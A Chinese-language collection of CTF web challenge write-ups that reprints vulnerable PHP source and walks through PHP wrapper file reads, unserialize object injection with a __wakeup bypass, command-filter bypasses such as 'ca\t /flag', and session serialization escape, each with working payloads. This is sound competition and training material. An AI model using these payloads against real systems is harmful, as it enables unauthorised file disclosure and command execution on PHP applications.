CTF-Web

2019-ZJCTF

nizhuansiwei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
  1. isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")

text=php://input,POST传递welcome to the zjctf

或者使用data协议text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

  1. include($file); //useless.php

file=php://filter/read=convert.base64-encode/resource=useless.phpphp://filteruseless.php进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
  1. $password = unserialize($password);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  

class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$a=new Flag();

echo serialize($a);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload:http://111.200.241.244:57245/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

XTCTF

Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
  1. 绕过preg_match('/[oc]:\d+:/i', $var)

base64解码后的字符串中不能以o或c开头且:后面不能是数字

  1. 利用@unserialize($var);

__wakeup漏洞,但是要注意$file是private变量

base64.b64decode("Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9")

b'O:4:"Demo":1:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'

base64.b64encode(b'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}')

b'TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=='

所以payload为?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

2019安洵杯

easy_web

观察URLindex.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,推测TXpVek5UTTFNbVUzTURabE5qYz0为base64编码,但是长度不对,尝试添加等号,base64解码得到MzUzNTM1MmU3MDZlNjc=,继续解码得到3535352e706e67,想了半天才发现这是hex编码,最终得到555.png

1
2
3
4
5
6
import base64
import binascii

print(binascii.a2b_hex(base64.b64decode(base64.b64decode(b'TXpVek5UTTFNbVUzTURabE5qYz0='))))
print(base64.b64encode(base64.b64encode(binascii.b2a_hex(b'flag'))))
print(base64.b64encode(base64.b64encode(binascii.b2a_hex(b'index.php'))))

尝试对flag直接进行读取,发现无法进行

尝试对index.php的源码进行读取index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=,将结果base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
  1. 禁止了对flag的直接读取
  2. 需要对preg_match进行绕过
  3. 存在强md5验证

强md5验证用https://misaka.gq/2021/03/07/PHP-Study/#md5%E5%BC%BA%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83的样例进行绕过

首先查找flag位置,观察preg_match发现没有对find进行过滤,直接find%20/对返回的结果进行查找,确定为\flag,同时也没有对strings进行过滤,直接进行strings%20\flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 OK
Date: Sun, 14 Mar 2021 12:06:19 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.1.33
Vary: Accept-Encoding
Content-Length: 294
Connection: close
Content-Type: text/html;charset=utf-8

<img src='data:image/gif;base64,'></img><br>strings /flag<br>Flag{nice_this_is_real_flag_p2hm1n}
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

Flag{nice_this_is_real_flag_p2hm1n}

除了strings还可以用sort%20\flag,同时该过滤不严谨,ca\t%20/flag也可以进行读取

easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
  1. 首先注意到extract($_POST);,extract可用于将数组展开,键名作为变量名,元素值为变量值即直接将$_POST$_GET中的变量解析出来,因此可以尝试对$_SESSION的部分变量进行覆盖

以POST的方法传入数据_SESSION[asdf]=qwer

可以看到在$_SESSION中的userfunction被覆盖,而img不改变

array(2) { ["asdf"]=> string(4) "qwer" ["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" }

  1. 要对flag进行读取,则要通过file_get_contents(base64_decode($userinfo['img']));,但是首先要知道flag在哪里,题目提示查看phpinfo

auto_append_file看到d0g3_f1ag.php,目标是对其进行读取

但是$userinfo['img']要么是默认的guest_img.png,要么是sha1之后的字符串,因此要对默认的img赋值进行绕过

  1. 注意到$serialize_info = filter(serialize($_SESSION));存在关键词的空白替换,因此可能存在反序列化对象逃逸

首先构造对img的赋值_SESSION[asdf]=s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

序列化之后得到a:2:{s:4:"asdf";s:39:"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

";s:39:"的长度为8,因此构造一个s:8:"";s:39:"";s:1:"a";的序列化即可进行逃逸

在filter中恰好对flag进行了过滤,因此payload为_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

得到提示$flag = 'flag in /d0g3_fllllllag';

payload_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}